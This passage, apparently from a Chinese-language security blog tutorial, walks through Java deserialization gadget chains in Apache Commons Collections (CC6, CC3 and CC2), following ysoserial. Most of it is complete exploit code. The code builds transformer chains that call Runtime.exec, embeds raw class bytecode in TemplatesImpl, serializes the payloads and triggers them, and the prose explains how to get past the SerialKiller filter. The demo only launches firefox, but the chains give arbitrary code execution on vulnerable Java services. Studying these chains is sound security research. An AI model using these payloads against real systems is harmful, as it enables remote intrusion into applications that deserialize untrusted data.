HashMap<TiedMapEntry, String> hashMap = new HashMap<TiedMapEntry, String>();
hashMap.put(tiedMapEntry, "fff");

// 有个关于 map.containsKey(key) == false 的判断,因此要移除相关键值
lazyMap.remove("xxxx");

// 在即将反序列化前将真正的payload填入
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, chainElements);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(hashMap);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
ois.readObject();
ois.close();
}
}

我相信你一定会困惑移除键值真的有用吗。是的,运行确实是可以跑起来了,但如果你耐心地去调试(请试试),你很可能会发现那个判断压根没有被绕过去。一看网上的文章,不知道是因为什么原因,都有意无意地忽略了这一点。

很摸不着头脑,但是我想可以先从有remove和无remove先后生成的反序列化文件里面找到一些端倪,我在这里使用了SerialzationDumper这个项目

可见两者输出的差别还是有的,而且体现在LazyMap上(这不废话吗…),可是为什么ideaj的调试中那个判断还是绕不过去呢?

经过我一段时间的研究,发现这似乎是一个BUG,因为当LazyMap里面的readObject方法被执行的时候,我们可以在Debugger里面(也就是写着Evaluate expression那栏)输入map.containsKey("xxxx"),发现其答案为false;可绕了一圈再回到LazyMap里面的get方法的时候,其答案居然变成了true!

手动编译common-collections3

调试的结果让我完全搞不清到底啥情况,虽然也想混水摸鱼(啊啊完全搞不懂啊),但觉得这样写出来的文章对不起自己。干脆想办法锁定问题在哪吧……于是下载了common-collections3.1的源代码,并对里面的LazyMap源码进行一定修改,如下图。

这个东西的编译环境建议使用jdk1.7和ant-1.9,ideaj的话只要导入该项目之后修改下ant的路径即可。

一种较为简单的触发方式(下)

OK,接下来的内容就比较简单,我们只要使用刚编译出来的jar包替换相应的lib,以及用源码替换对应的src再运行即可。可以在控制台看到这样的输出:

1
2
3
4
false
In get!
great bypass!
false

这说明什么?至少程序的运行确实是走了预期的路径,所以目前基本可以将怀疑的目光投向Debugger!继续调试,我们很快就找到了问题所在。

可见这个Debugger在先前,也就是我们根本注意不到的时候就已经运行了相关的payload(确实那之前有弹窗,但现在想来我并没有认真看待这个问题),调试时候呈现出来的状态并不是真正触发时候的状态。我甚至在输出In get!的地方打上断点,结果这个断点被神奇地跳过而且输出了那些玩意。

可以定性为Debugger的问题了。什么,你问我该怎么解决?确实我们不可能一天到晚在源码包里插入代码再编译……(不过也可以看到土方法确实很有效2333)这是问题非常恼人,但也许能修改ideaj的settings?最后我在这篇文章里找到了解决之道,请按照如下方法进行设置。

ysoserial中的触发链

因为刚才思路卡在了HashSet那里,所以先尝试一条相对简单的链,同时也发现ideaj的Debugger的默认设置可能会产生干扰。现在我们重新思考一下如何完成ysoserial思路的代码编写。

可以看到这里面的调用位置在map.put(e, PRESENT);这里,我们需要达成像hashMap.put(tiedMapEntry, "fff");这样的效果,但对于hashMap而言只要保证是HashMap类即可,剩下的无非是对于e而言我们还需要找到readObject之后可以返回tiedMapEntry的方法。可以先试试如下代码看看HashSet反序列化时候的逻辑:

1
2
3
// 反序列化的最外层肯定是 HashSet,于是先创建,后面再进行一定的修改
HashSet map = new HashSet(1);
map.add("foo");

经过调试可以看到e="foo",如果我们能直接将tiedMapEntry通过add就添加进去的话,是不是就万事大吉了?事实证明是可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"firefox"}),
};
Transformer[] fakeChainElements = new Transformer[]{};

Transformer transformer = new ChainedTransformer( fakeChainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");
//tiedMapEntry.getValue();
//tiedMapEntry.hashCode();

// 采用此思路,反序列化的最外层肯定是 HashSet,于是先创建,后面再进行一定的修改
HashSet map = new HashSet(1);
map.add(tiedMapEntry);
lazyMap.remove("xxxx");

// 在即将反序列化前将真正的payload填入
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, chainElements);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(map);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
ois.readObject();
ois.close();
}
}

其实这已经和ysoserial思路一模一样了,但是我们知道ysoserial的CC6代码可完全不是这样写的,不过呢实现的功能却是相似的——都是将HashSet里面的元素的key设置为tiedMapEntry,并且保证那个"xxxx"的键不存在于hashMap中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class Triggercc62 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"firefox"}),
};
Transformer[] fakeChainElements = new Transformer[]{};

Transformer transformer = new ChainedTransformer( fakeChainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");
//tiedMapEntry.getValue();
//tiedMapEntry.hashCode();

// 反序列化的最外层肯定是 HashSet,于是先创建,后面再进行一定的修改
HashSet map = new HashSet(1);
map.add("foo");

// 获取 HashSet 中的元素,即里面的 HashMap ,而 HashMap 相应属性中的table值得注意
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

// table其实是数组,我们这个情况里面只有一个元素,即刚刚add进来的以"foo"为键名(key)的元素
Field f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[1];

// 取出上述的元素,并将其的键名(key)修改为 tiedMapEntry
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);

// 在即将反序列化前将真正的payload填入
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, chainElements);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(map);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
ois.readObject();
ois.close();
}
}

我相信您看到以上代码的注释结合手动调试之后就会明白这一切的。

CC3

还记得之前的CC1和字节码部分的内容吗?先不管什么CC3,这两者拼起来应该也是可以有所作为的吧?

字节码的话我们可以很自然地选择加载字节码 - TemplatesImpl里面的示例,但它该填在哪里呢?它其实代表了类,因此我们一找先前CC1的POC就能够发现需要填在ConstantTransformer里;至于InvokerTransformer的话,应该是要想方设法触发关于这个类的调用,可以选择templatesImpl.newTransformer()这个调用。

稍微改动下CC1的代码,加入一些字节码加载的处理代码后我们便可以得到可以跑的样例(运行环境为jdk8u66-b36,common-collections版本为3.1):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Triggercc3 {
public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
byte[] byteArray = new byte[] {-54, -2, -70, -66, 0, 0, 0, 51, 0, 46, 10, 0, 3, 0, 27, 7, 0, 44, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 16, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 72, 101, 108, 108, 111, 59, 1, 0, 8, 83, 97, 121, 72, 101, 108, 108, 111, 1, 0, 9, 116, 114, 97, 110, 115, 102, 111, 114, 109, 1, 0, 114, 40, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 68, 79, 77, 59, 91, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 3, 100, 111, 109, 1, 0, 45, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 68, 79, 77, 59, 1, 0, 21, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 115, 1, 0, 66, 91, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 30, 1, 0, -90, 40, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 68, 79, 77, 59, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 100, 116, 109, 47, 68, 84, 77, 65, 120, 105, 115, 73, 116, 101, 114, 97, 116, 111, 114, 59, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 15, 100, 116, 109, 65, 120, 105, 115, 73, 116, 101, 114, 97, 116, 111, 114, 1, 0, 53, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 100, 116, 109, 47, 68, 84, 77, 65, 120, 105, 115, 73, 116, 101, 114, 97, 116, 111, 114, 59, 1, 0, 20, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 1, 0, 65, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 72, 101, 108, 108, 111, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 14, 99, 111, 109, 47, 116, 101, 115, 116, 47, 72, 101, 108, 108, 111, 1, 0, 64, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 114, 117, 110, 116, 105, 109, 101, 47, 65, 98, 115, 116, 114, 97, 99, 116, 84, 114, 97, 110, 115, 108, 101, 116, 1, 0, 57, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 84, 114, 97, 110, 115, 108, 101, 116, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 7, 0, 32, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 12, 0, 34, 0, 35, 10, 0, 33, 0, 36, 1, 0, 7, 102, 105, 114, 101, 102, 111, 120, 8, 0, 38, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 12, 0, 40, 0, 41, 10, 0, 33, 0, 42, 1, 0, 5, 72, 101, 108, 108, 111, 1, 0, 7, 76, 72, 101, 108, 108, 111, 59, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 5, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 45, 0, 0, 0, 1, 0, 11, 0, 5, 0, 1, 0, 6, 0, 0, 0, 43, 0, 0, 0, 1, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 1, 0, 9, 0, 45, 0, 0, 0, 1, 0, 12, 0, 13, 0, 2, 0, 6, 0, 0, 0, 63, 0, 0, 0, 3, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 13, 0, 8, 0, 0, 0, 32, 0, 3, 0, 0, 0, 1, 0, 9, 0, 45, 0, 0, 0, 0, 0, 1, 0, 14, 0, 15, 0, 1, 0, 0, 0, 1, 0, 16, 0, 17, 0, 2, 0, 18, 0, 0, 0, 4, 0, 1, 0, 19, 0, 1, 0, 12, 0, 20, 0, 2, 0, 6, 0, 0, 0, 73, 0, 0, 0, 4, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 16, 0, 8, 0, 0, 0, 42, 0, 4, 0, 0, 0, 1, 0, 9, 0, 45, 0, 0, 0, 0, 0, 1, 0, 14, 0, 15, 0, 1, 0, 0, 0, 1, 0, 21, 0, 22, 0, 2, 0, 0, 0, 1, 0, 23, 0, 24, 0, 3, 0, 18, 0, 0, 0, 4, 0, 1, 0, 19, 0, 8, 0, 31, 0, 5, 0, 1, 0, 6, 0, 0, 0, 22, 0, 2, 0, 0, 0, 0, 0, 10, -72, 0, 37, 18, 39, -74, 0, 43, 87, -79, 0, 0, 0, 0, 0, 1, 0, 25, 0, 0, 0, 2, 0, 26};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{byteArray});
setFieldValue(templatesImpl, "_class", null);
setFieldValue(templatesImpl, "_name", "not null");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(templatesImpl),
new InvokerTransformer("newTransformer", null, null),
};

Transformer transformer = new ChainedTransformer( chainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
lazyMap.get("xxx"); // 因为我们在CC1中已经知道后续如何写,这里就干脆直接调用便于调试
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

好了,现在问题来了。SerialKiller的0.2版本过滤了InvokerTransformer这样的关键字,我们又该如何绕过这个过滤限制呢?这就是CC3出现的原因。

有一点比较差劲,就是ysoserial里面的代码并没有给出利用链,但我们可以自己根据代码写一下作为练习。

1
2
3
4
5
6
7
8
java.io.ObjectInputStream.readObject()
sun.reflect.annotation.AnnotationInvocationHandler.readObject()
java.util.Map(java.lang.reflect.Proxy).entrySet()
sun.reflect.annotation.AnnotationInvocationHandler.invoke()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.ConstantTransformer.transform(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)
org.apache.commons.collections.functors.InstantiateTransformer() <- bytecodes

看来的确是主要改动了原本的InvokerTransformer之后的链子,当然这和我们利用bytecodes也有一定的关系。为什么括号里会使用com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter呢?因为bytecodes里面的类是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,而且在TrAXFilter的构造方法中有this._transformer = (TransformerImpl)templates.newTransformer();,即TemplatesImpl#newTransformer(),也就是直接调用了加载bytecodes的函数!

另外对于InstantiateTransformer,它主要是为了触发TrAXFilter的构造方法——因为我们在InstantiateTransformertransform函数(这个会在ChainedTransformertransform里面得以调用)里找到了con.newInstance(iArgs),只要令conTrAXFilter的Constructor即可。因此我们已经知道InstantiateTransformer()的括号里该填啥了。

1
2
3
4
5
6
7
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] {Templates.class},
new Object[] { templatesImpl }
)
};

没错,只要改动这么一点点就行了。这就是CC3。

CC2

那个系列的次序来说这部分应该是讲shiro-1.2.4的漏洞利用,但我研究了一下,感觉是调试为主,想写明白还是太麻烦而且网上有不少文章已经亲身实践研究过(比如这篇这篇)。所以就开始CC2的学习吧。

CC2这里主要介绍的是PriorityQueue链,这条链子在CC4中也有用到。该部分实验环境为jdk8u66,common-collections版本为4.0。我们同样可以根据ysoserial给出的代码找到这条链子的利用过程:

1
2
3
4
5
6
7
8
9
java.io.ObjectInputStream.readObject()
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
org.apache.commons.collections4.comparators.TransformingComparator.compare()
org.apache.commons.collections4.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

基本实现

可以看到熟悉的InvokerTransformer.transform出现在里面,然后一看TransformingComparator.compare里面对于this.transformer.transform(obj1)的调用,可以先写出如下的测试代码:

1
2
3
4
5
6
7
public class Testcc2 {
public static void main(String[] args) {
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"firefox"});
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(Runtime.getRuntime(), 1);
}
}

于是乎剩下的目标就是触发TransformingComparator.compare,其实根据链子的思路耐心翻看下代码辅以调试的话自己就能写出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class Triggercc2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"firefox"}),
};
Transformer transformer = new ChainedTransformer( chainElements );

TransformingComparator transformingComparator = new TransformingComparator(transformer);
//transformingComparator.compare(Runtime.getRuntime(), 1);

PriorityQueue priorityQueue = new PriorityQueue();
setFieldValue(priorityQueue, "comparator", transformingComparator);
setFieldValue(priorityQueue, "size", 2);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(priorityQueue);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
ois.readObject();
ois.close();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

这个代码就实现了CC2链,美中不足的就是它的RCE弹窗会爆两次。很多文章都使用Queue.add类似的方法,其实都是一个道理,我们直接修改里面的重要参数也是完全可以的,而且貌似考虑起来更方便。

利用字节码改进

刚刚只是简单地实现了CC2的基本思路,如果观察ysoserial的源代码,我们会看到它还利用了TemplatesImpl,也就是加载字节码。接下来,字节码的话还是选用加载字节码 - TemplatesImpl里面的示例。

剩下的目标就是将templatesImpltransformer联系起来,其实上文已经提到过别的方法了,但这里就用ysoserial里面的吧。其核心想法是利用org.apache.commons.collections4.functors.InvokerTransformer里面的transform函数(因为里面可以构造一个反射method.invoke(input, this.iArgs);)完成对TemplatesImpl#newTransformer()的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Triggercc22 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] byteArray = new byte[] {-54, -2, -70, -66, 0, 0, 0, 51, 0, 46, 10, 0, 3, 0, 27, 7, 0, 44, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 16, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 72, 101, 108, 108, 111, 59, 1, 0, 8, 83, 97, 121, 72, 101, 108, 108, 111, 1, 0, 9, 116, 114, 97, 110, 115, 102, 111, 114, 109, 1, 0, 114, 40, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 68, 79, 77, 59, 91, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 3, 100, 111, 109, 1, 0, 45, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 68, 79, 77, 59, 1, 0, 21, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 115, 1, 0, 66, 91, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 30, 1, 0, -90, 40, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 68, 79, 77, 59, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 100, 116, 109, 47, 68, 84, 77, 65, 120, 105, 115, 73, 116, 101, 114, 97, 116, 111, 114, 59, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 15, 100, 116, 109, 65, 120, 105, 115, 73, 116, 101, 114, 97, 116, 111, 114, 1, 0, 53, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 100, 116, 109, 47, 68, 84, 77, 65, 120, 105, 115, 73, 116, 101, 114, 97, 116, 111, 114, 59, 1, 0, 20, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 1, 0, 65, 76, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 109, 108, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 72, 101, 108, 108, 111, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 14, 99, 111, 109, 47, 116, 101, 115, 116, 47, 72, 101, 108, 108, 111, 1, 0, 64, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 114, 117, 110, 116, 105, 109, 101, 47, 65, 98, 115, 116, 114, 97, 99, 116, 84, 114, 97, 110, 115, 108, 101, 116, 1, 0, 57, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 84, 114, 97, 110, 115, 108, 101, 116, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 7, 0, 32, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 12, 0, 34, 0, 35, 10, 0, 33, 0, 36, 1, 0, 7, 102, 105, 114, 101, 102, 111, 120, 8, 0, 38, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 12, 0, 40, 0, 41, 10, 0, 33, 0, 42, 1, 0, 5, 72, 101, 108, 108, 111, 1, 0, 7, 76, 72, 101, 108, 108, 111, 59, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 5, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 45, 0, 0, 0, 1, 0, 11, 